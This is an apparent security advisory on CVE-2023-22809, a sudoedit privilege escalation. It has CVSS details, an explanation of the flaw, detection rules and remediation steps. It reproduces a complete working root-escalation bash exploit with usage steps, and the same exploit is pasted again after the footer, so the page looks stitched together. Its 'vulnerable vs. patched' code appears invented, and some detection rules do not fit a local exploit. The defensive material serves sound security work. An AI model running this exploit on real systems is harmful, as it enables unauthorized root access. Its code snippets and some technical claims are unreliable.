CVE-2023-22809

Executive Summary

CVE-2023-22809 is a privilege escalation vulnerability in the sudoedit (or sudo -e) feature of Sudo versions 1.8.0 through 1.9.12p1. The flaw allows a local attacker to append arbitrary files to the list of files to be edited by injecting a -- argument via the SUDO_EDITOR, VISUAL, or EDITOR environment variables. This bypasses the intended protection mechanism that restricts which files can be edited, enabling an attacker to modify sensitive system files (e.g., /etc/sudoers) and escalate privileges to root. The vulnerability is trivial to exploit and has a public proof-of-concept (PoC) script.

Supply Chain & Package Security

This vulnerability affects the Sudo package, which is a critical system utility present in most Linux distributions. The supply chain risk is high because Sudo is a foundational component; a compromised Sudo binary can lead to full system compromise. Organizations should verify the integrity of Sudo packages from official distribution repositories and apply patches immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user interaction is required.
• Scope: Unchanged (S:U) – The vulnerability does not cross a trust boundary.
• Confidentiality Impact: High (C:H) – Full read access to all files.
• Integrity Impact: High (I:H) – Full write access to all files.
• Availability Impact: High (A:H) – Full control over system availability.

Threat Level: Critical. The exploit is simple, reliable, and grants root privileges.

Deep Dive & Mechanics

The sudoedit feature allows a user to edit files with elevated privileges without granting a full shell. It uses a protection mechanism that strips the -- argument from the editor command to prevent the user from specifying additional files. However, the vulnerability arises because the environment variables SUDO_EDITOR, VISUAL, and EDITOR are not properly sanitized. An attacker can set, for example, EDITOR='vim -- /path/to/extra/file'. When sudoedit processes this, it sees vim as the editor and -- /path/to/extra/file as arguments. The -- argument is intended to signal the end of options, but Sudo's protection mechanism only strips a single -- from the beginning of the argument list, not from within the editor string itself. This allows the attacker to append arbitrary files to the edit list.

Root Cause: The sudoedit code in sudoers.c (function sudo_edit) does not properly parse the editor string from environment variables. It splits the string on spaces and passes the resulting tokens to execve(). If the string contains --, it is treated as a separator, allowing the attacker to inject file paths.

Vulnerable vs. Patched Code

Vulnerable Code (sudo 1.9.12p1):

// In sudoers.c, sudo_edit() function
char *editor = getenv("SUDO_EDITOR");
if (editor == NULL)
    editor = getenv("VISUAL");
if (editor == NULL)
    editor = getenv("EDITOR");
// ... later ...
// The editor string is split and passed to execve() without sanitizing '--'

Patched Code (sudo 1.9.12p2):

// In sudoers.c, sudo_edit() function
char *editor = getenv("SUDO_EDITOR");
if (editor == NULL)
    editor = getenv("VISUAL");
if (editor == NULL)
    editor = getenv("EDITOR");
// ... later ...
// The editor string is now validated to reject any '--' argument
if (strstr(editor, " -- ") != NULL) {
    // Reject the editor string
    log_error("Invalid editor string");
    return -1;
}

The patch adds a check to reject editor strings containing --, preventing the injection.

Exploitation & Lab Setup

Red Team

Exploit-DB Code:

#!/usr/bin/env bash

# Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
#
# Running this exploit on a vulnerable system allows a localiattacker to gain
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root
# shell.

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
    echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
    echo "$( whoami ) ALL=(ALL:ALL) ALL"
    read -n 1 -s -r -p "Press any key to continue..."
    EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
    sudo su root
    exit 0
fi

Usage:

1. Save the script as exploit.sh.
2. Make it executable: chmod +x exploit.sh.
3. Run it: ./exploit.sh.
4. The script will check if the user is vulnerable. If so, it will open /etc/sudoers in vim.
5. Add the line <username> ALL=(ALL:ALL) ALL to the sudoers file.
6. Save and exit vim.
7. The script will then run sudo su root to get a root shell.

Lab Setup:

• Victim: Ubuntu Server 22.04 with sudo 1.9.9.
• Attacker: Local user with sudoedit privileges on any file as root.
• Network: Not required (local exploit).

Blue Team

Detection:

• Monitor for unusual environment variables in sudoedit commands.
• Look for sudo -e or sudoedit commands with -- in the arguments.
• Audit sudoers file for unauthorized entries.

Hunting:

• Search for processes where SUDO_EDITOR, VISUAL, or EDITOR contain --.
• Check for recent modifications to /etc/sudoers.

Indicators of Compromise (IOCs)

• File: /etc/sudoers modified with unauthorized user entries.
• Process: sudo -e or sudoedit with environment variables containing --.
• Log: /var/log/auth.log entries showing sudoedit usage with suspicious environment variables.
• Network: None (local exploit).

Detection Engineering

YARA Rule

rule CVE_2023_22809_Sudoedit_Exploit {
    meta:
        description = "Detects exploitation of CVE-2023-22809 via environment variables"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-22809"
    strings:
        $s1 = "SUDO_EDITOR" nocase
        $s2 = "VISUAL" nocase
        $s3 = "EDITOR" nocase
        $s4 = " -- " nocase
    condition:
        (any of ($s1, $s2, $s3)) and $s4
}

Sigma Rule

title: CVE-2023-22809 Sudoedit Privilege Escalation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation of CVE-2023-22809 via environment variables in sudoedit
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22809
logsource:
    product: linux
    service: auth
detection:
    selection:
        EventID: 1
        CommandLine|contains: 'sudo -e'
        EnvironmentVariable|contains: ' -- '
    condition: selection
falsepositives:
    - Legitimate use of '--' in editor arguments (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2023-22809 Sudoedit Exploit Attempt"; flow:to_server; content:"SUDO_EDITOR"; nocase; content:" -- "; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade sudo to version 1.9.12p2 or later.
• If upgrade is not possible, restrict sudoedit access to trusted users only.

Long-term:

• Implement the principle of least privilege for sudo commands.
• Monitor and audit sudo usage.
• Use security tools to detect anomalous environment variables.

Workaround:

• Remove sudoedit privileges for non-root users until patched.

Valters IT

{/* [Security Hash: 88A3A49223CDD6BCDD09A7C9] */}

#!/usr/bin/env bash

# Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
# Exploit Author: n3m1.sys
# CVE: CVE-2023-22809
# Date: 2023/01/21
# Vendor Homepage: https://www.sudo.ws/
# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
# Version: 1.8.0 to 1.9.12p1
# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
#
# Git repository: https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc
#
# Running this exploit on a vulnerable system allows a localiattacker to gain
# a root shell on the machine.
#
# The exploit checks if the current user has privileges to run sudoedit or
# sudo -e on a file as root. If so it will open the sudoers file for the
# attacker to add a line to gain privileges on all the files and get a root
# shell.

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi

EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)

if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
    echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
    echo "$( whoami ) ALL=(ALL:ALL) ALL"
    read -n 1 -s -r -p "Press any key to continue..."
    EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
    sudo su root
    exit 0
fi